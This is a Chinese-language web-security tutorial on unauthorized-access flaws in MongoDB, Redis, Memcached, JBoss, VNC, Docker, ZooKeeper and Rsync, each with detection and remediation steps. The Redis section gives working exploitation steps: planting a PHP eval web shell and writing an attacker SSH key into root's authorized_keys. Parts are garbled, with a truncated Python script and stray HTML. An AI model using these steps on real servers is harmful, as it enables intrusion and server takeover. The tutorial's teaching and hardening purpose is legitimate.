未授權訪問漏洞可以理解為需要安全配置或權限認證的地址、授權頁面存在缺陷導致其他用戶可以直接訪問從而引發重要權限可被操作、數據庫或網站目錄等敏感信息泄露。
常見的未授權訪問漏洞
1.mongodb 未授權訪問漏洞
2.redis 未授權訪問漏洞
3.memcached 未授權訪問漏洞CVE-2013-7239
4.JBOSS 未授權訪問漏洞
5.VNC 未授權訪問漏洞
6.docker 未授權訪問漏洞
7.zookeeper 未授權訪問漏洞
8.Rsync 未授權訪問漏洞
一、MongoDB 未授權訪問漏洞
漏洞信息
(1) 漏洞簡述開啟 MongoDB 服務時若不添加任何參數默認是沒有權限驗證的而且可以遠程訪問數據庫登錄的用戶無需密碼即可通過默認端口?27017?對數據庫進行增、刪、改、查等高危操作。剛安裝完畢時MongoDB 都默認有一個 admin 數據庫此時 admin 數據庫為空沒有記錄權限相關的信息。當 admin.system.users 一個用戶都沒有時即使 MongoDB 啟動時添加了 –auth 參數還是可以做任何操作不管是否以 –auth 參數啟動直到在 admin.system.users 中添加了一個用戶。
(2) 風險等級高風險。
(3) 漏洞編號無。
(4) 影響范圍MongoDB 數據庫。
檢測方法
可以自己編制相應腳本或利用專用工具檢測也可以查看配置文件
(1) 檢測是否僅監聽 127.0.0.1
--bind_ip?127.0.0.1 or vim?/etc/mongodb.conf bind_ip?=?127.0.0.1
(2) 檢測是否開啟 auth 認證?
mongod?--auth or vim?/etc/mongodb.conf auth?=?true
修復方法
(1) 為 MongoDB 添加認證
① MongoDB 啟動時添加 -auth 參數。
② 給 MongoDB 添加用戶
use?admin?#?使用?admin?庫 db.addUser“用戶名”?“密碼”#?添加用戶名、密碼 db.auth“用戶名”,“密碼”#?驗證是否添加成功返回?1?說明成功。
(2) 禁用 http 和 REST 端口
MongoDB 自身帶有一個 HTTP 服務并支持 REST 接口。在 2.6 版本以后這些接口默認關閉。MongoDB 默認會使用默認端口監聽 Web 服務一般不需要通過 Web 方式進行遠程管理建議禁用。修改配置文件或在啟動時選擇 -nohttpinterface 參數 nohttpinterface = false。
(3) 限制綁定 IP
啟動時加入參數
--bind_ip?127.0.0.1
或在 /etc/mongodb.conf 文件中添加以下內容?
bind_ip?=?127.0.0.1
二、Redis 未授權訪問漏洞
漏洞信息
(1) 漏洞簡述Redis 是一個高性能的 Key – Value 數據庫。Redis 的出現很大程度上彌補了 memcached 這類 Key/Value 存儲的不足在部分場合可以對關系數據庫起到很好的補充作用。Redis 默認情況下會綁定在 0.0.0.0:6379這樣會將 Redis 服務暴露到公網上。在沒有開啟認證的情況下會導致任意用戶在可以訪問目標服務器的情況下未經授權就訪問到 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法成功地在 Redis 服務器上寫入公鑰進而可以使用對應私鑰直接登錄目標服務器。
(2) 風險等級高風險。
(3) 漏洞編號無。
(4) 影響范圍Redis 數據庫。
檢測方法?
先用 nmap 掃描查看端口開放情況發現開放的 6379 端口為 Redis 的默認端口?
Nmap?-A?-p?6379?--script?redis-info?192.168.10.153
Nmap 掃描后發現主機的 6379 端口對外開放可以通過 Redis 客戶端進行連接測試是否存在未授權訪問漏洞具體命令如下：
./redis-cli?-h?192.168.10.153 Info
就可以看到 Redis 的版本和服務器上內核的版本信息也可以 del key 刪除數據在網站寫入木馬寫入 ssh 公鑰或者在 crontab 里寫定時任務反彈 shell 等。
(1) 網站寫碼
① 先用客戶端連接服務器的 redis 服務
redis-cli.exe?-h?目標IP
② 連接后設置目錄?
config?set?dir?/var/www/html此路徑是服務器端?Web?網站的目錄
③ 設置要寫入的文件名?
config?set?dbfilename?redis88.php
④ 設置要寫入的內容?
set?webshell?"<?php @eval($_POST['123']); ?>"
⑤ 保存?
save
⑥ 保存后用菜刀連接此木馬得到 webshell。
(2) 結合 SSH 免密碼登錄
① 先在本地建個 ssh 的密鑰
ssh-keygen-trsa
② 將公鑰的內容寫到一個文本中命令如下
(echo?-e?"nn";?cat?id_rsa.pub;?echo?-e?"nn")?>?test.txt
注意寫到文件中時一定要在前面加幾行后面加幾行。
③ 將里面的內容寫入遠程的 Redis 服務器上并且設置其 Key 為 test命令如下
cat?test.txt?|?redis?-cli?-h?<hostname>?-x?set?test</hostname>
④ 登錄遠程服務器可以看到公鑰已經添加到 Redis 的服務器上了命令如下
redis-cli?-h?<hostname> keys?*get?test</hostname>
⑤ 隨后就是最關鍵的了Redis 有個 save 命令save 命令執行一個同步保存操作將當前 Redis 實例的所有數據快照snapshot以 RDB 文件的形式保存到硬盤。所以save 命令就可以將 test 里的公鑰保存到 /root/.ssh 下要有權限。
修改保存的路徑為
config?set?dir?"/root/.ssh"
修改文件名為
config?set?dbfilename?"authorized_keys"
保存。
⑥ 測試一下
ssh?用戶名@<ip></ip>
實現免密碼成功登陸。
修復方法
(1) 設置 Redis 訪問密碼在 redis.conf 中找到 “requirepass” 字段在后面填上強口令redis 客戶端也需要此密碼來訪問 redis 服務。
(2) 配置 bind 選項限定可以連接 Reids 服務器的 IP并修改默認端口 6379。
(3) 重啟 Redis 服務。
(4) 清理系統中存在的后門木馬。
三、Memcached 未授權訪問漏洞CVE-2013-7239
漏洞信息
(1) 漏洞簡述Memcached 是一套分布式高速緩存系統。它以 Key – Value 的形式將數據存儲在內存中。這些數據通常是會被頻繁地應用、讀取的。正因為內存中數據的讀取速度遠遠大于硬盤的讀取速度所以可以用來加速應用的訪問。由于 Memcached 的安全設計缺陷客戶端連接 Memcached 服務器后無需認證就可讀取、修改服務器緩存內容。
(2) 風險等級高風險。
(3) 漏洞編號CVE-2013-7239 。
(4) 影響范圍Memcached 全版本。
檢測方法
登錄機器執行 netstat -an | more 命令查看端口監聽情況。回顯 0.0.0.0:1121111211 表示在所有網卡進行監聽存在 Memcached 未授權訪問漏洞。
telnet?<target>?11211 or nc?-vv?<target>?11211</target></target>
提示連接成功表示漏洞存在。
使用端口掃描工具 nmap 進行遠程掃描
nmap?-sV?-p11211?--script?memcached-info?<target></target>
修復方法?
(1) 配置訪問控制。建議用戶不要將服務發布到互聯網上以防被黑客利用而可以通過安全組規則或 Iptables 配置訪問控制規則只允許內部必需的用戶地址訪問命令如下?
iptables?-A?INPUT?-p?tcp?-s?192.168.0.2?--dport?11211?-j?ACCEPT
(2) bind 指定監聽 IP。如果 Memcached 沒有在外網開放的必要可在 Memcached 啟動時指定綁定的 IP 地址為 127.0.0.1。例如
memcached?-d?-m?1024?-u?memcached?-l?127.0.0.1?-p?11211?-c?1024?-P?/tmp/memcached.pid
(3) 最小化權限運行。使用普通權限賬號運行以下指定 memcached 用戶運行?
memcached?-d?-m?1024?-u?memcached?-l?127.0.0.1?-p?11211?-c?1024?-P?/tmp/memcached.pid
(4) 修改默認端口。修改默認 11211 監聽端口為 11222 端口?
memcached?-d?-m?1024?-u?memcached?-l?127.0.0.1?-p?11222?-c?1024?-P?/tmp/memcached.pid
(5) 備份數據。為避免數據丟失升級前應做好備份或建立硬盤快照。
四、JBOSS 未授權訪問漏洞
漏洞信息
(1) 漏洞簡述JBOSS 企業應用平臺EAP是 J2EE 應用的中間件平臺。默認情況下訪問?http://ip:8080/jmx-console 就可以瀏覽 jboss 的部署管理的信息不需要輸入用戶名和密碼可以直接部署上傳木馬有安全隱患。
(2) 風險等級高風險。
(3) 漏洞編號無。
(4) 影響范圍JBOSS 全版本。
檢測方法
先用 nmap 掃描查看端口開放情況看是否開放 JBOSS 端口。再使用漏洞測試工具測試 jmx 組件存在情況通過訪問?http://ip:jboss端口/ 看是否能進入 jmx-console 和 web-console 。?
修復方法
JMX Console 安全配置
① 找到 %JBOSS_HOME%/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml 文件去掉下面這段 xml 文本的注釋。
② 與 jboss-web.xml 同級的目錄下還有一個文件 web.xml找到下面這段 xml 文本把 GET 和 POST 兩行注釋掉同時 security-constraint 整個部分取消注釋,?不然存在head頭繞過。?
③ %JBOSS_HOME%serverdefaultconfpropsjbossws-users.properties 中刪除原始的 admin/admin添加新的用戶名密碼。?
④ %JBOSS_HOME%serverdefaultconfpropsjbossws-roles.properties 中定義新用戶名所屬角色。該文件定義的格式為用戶名 = 角色多個角色以 “,” 隔開該文件默認為 admin 用戶定義了 JBossAdmin 和 HttpInvoker 這兩個角色。?
#?A?sample?roles.properties?file?foruse?with?the?UsersRolesLoginModule kermit?=?JBossAdmin,HttpInvoker
五、VNC 未授權訪問漏洞
漏洞信息
(1) 漏洞簡述VNC 是虛擬網絡控制臺Virtual Network Console的英文縮寫。它是一款優秀的遠程控制工具軟件由美國電話電報公司AT&T的歐洲研究實驗室開發。VNC是基于 UNXI 和 linux 的免費開源軟件由 VNC Server 和 VNC Viewer 兩部分組成。VNC 默認端口號為?5900、5901。VNC 未授權訪問漏洞如被利用可能造成惡意用戶直接控制受控主機危害相當嚴重。
(2) 風險等級高風險。
(3) 漏洞編號無。
(4) 影響范圍VNC 全版本。
檢測方法
使用 metasploit 進行批量檢測
(1) 在 kali 下運行 msfconsolemsfconsole。
(2) 調用 VNC 未授權檢測模塊use auxiliary/scanner/vnc/vnx_none_auth。
(3) 顯示有哪些選項show options。
(4) 設置地址段set rhosts ip 或 段。
(5) 設置線程set threads 50。
(6) 開始掃描run。
修復方法
(1) 配置 VNC 客戶端登錄口令認證并配置符合密碼強度要求的密碼。
(2) 以最小權限的普通用戶身份運行操作系統。
六、Docker 未授權訪問漏洞
漏洞信息
(1) 漏洞簡述Docker 是一個開源的引擎可以輕松地為任何應用創建一個輕量級的、可移植的、自給自足的容器。開發者在筆記本上編譯測試通過的容器可以批量地在生產環境中部署包括 VMs、bare metal、openstack 集群和其他的基礎應用平臺Docker 存在問題的版本分別為 1.3 和 1.6因為權限控制等問題導致可以脫離容器拿到宿主機權限。
(2) 風險等級高風險。
(3) 漏洞編號無。
(4) 影響范圍Docker 1.3、Docker 1.6。
檢測方法
先用 nmap 掃描查看端口開放情況。2375?為 docker 端口如果存在漏洞會有以下情況url 輸入 ip:2375/version 就會列出基本信息也可以執行目標服務器容器命令如 container、image 等。?
修復方法
(1) 使用 TLS 認證。
(2) 網絡訪問控制Network Access Control
七、ZooKeeper 未授權訪問漏洞
漏洞信息
(1) 漏洞簡述ZooKeeper 是一個分布式的開放源碼的分布式應用程序協調服務是 Google 的 Chubby 一個開源的實現是 hadoop 和 hbase 的重要組件。它是一個為分布式應用提供一致性服務的軟件提供的功能包括配置維護、域名服務、分布式同步、組服務等。ZooKeeper 默認開啟在?2181?端口在未進行任何訪問控制的情況下攻擊者可通過執行 envi 命令獲得系統大量的敏感信息包括系統名稱Java 環境。這將導致任意用戶在網絡可達的情況下進行為未授權訪問并讀取數據甚至 kill 服務。
(2) 風險等級高風險。
(3) 漏洞編號無。
(4) 影響范圍Zookeeper 全版本。
檢測方法
(1) 通過 nmap 掃描開放了 2181 端口的主機。
(2) 運行腳本通過 socket 連接 2181 端口并發送 envi 命令若服務端返回的數據中包含 ZooKeeper 的服務運行環境信息即可證明存在未授權訪問。
檢測腳本
#?coding=utf-8 ?import?socketimport?sys? def?check(ip,?port,?timeout,?cmd): ????try: ????????socket.setdefaulttimeout(timeout) ????????s?=?socket.socket(socket.AF_INET,?socket.SOCK_STREAM) ????????s.connect((ip,?int(port))) ????????s.send(cmd) ????????data?=?s.recv(1024) ????????s.close()????????print?data????except:????????passdef?main(): ????if?len(sys.argv)?<p><span style="font-size: 18px;">修復方法?</span></p><p>(1) 修改 ZooKeeper 默認端口，采用其他端口服務，配置服務來源地址限制策略。</p><p>(2) 增加 ZooKeeper 的認證配置。</p><p><strong><span style="font-size: 18px;">八、Rsync 未授權訪問漏洞</span></strong></p><p><span style="font-size: 18px;">漏洞信息</span></p><p>(1) 漏洞簡述：Rsync（remote synchronize）是一個遠程數據同步工具，可通過 LAN/WAN 快速同步多臺主機間的文件，也可以同步本地硬盤中的不同目錄。Rsync 默認允許匿名訪問，如果在配置文件中沒有相關的用戶認證以及文件授權，就會觸發隱患。Rsync 的默認端口為?837。</p><p>(2) 風險等級：高風險。</p><p>(3) 漏洞編號：無。</p><p>(4) 影響范圍：Rsync 全版本。</p><p><span style="font-size: 18px;">檢測方法</span></p><p>nmap 掃描：nmap ip -p837。</p><p>列出當前目錄，顯示用戶：rsync ip。</p><p>如果是root，可以下載任意文件并上傳文件。</p><p><span style="font-size: 18px;">修復方法</span></p><p>(1) 隱藏 module 信息：修改配置文件 list =false。</p><p>(2) 權限控制：不需要寫入權限的 module 的設置為只讀 Read only = true。</p><p>(3) 網絡訪問控制：使用安全組策略或白名單限制，只允許必要訪問的主機訪問：hosts allow = 123.123.123.123。</p><p>(4) 賬戶認證：只允許指定的用戶利用指定的密碼使用 rsync 服務。</p><p>(5) 數據加密傳輸：Rsync 默認沒有直接支持加密傳輸，如果需要 Rsync 同步重要性很高的數據，可以使用 ssh。</p><p>相關文章教程推薦：<a href="https://www.php.cn/safe/" target="_blank">web安全教程</a></p>
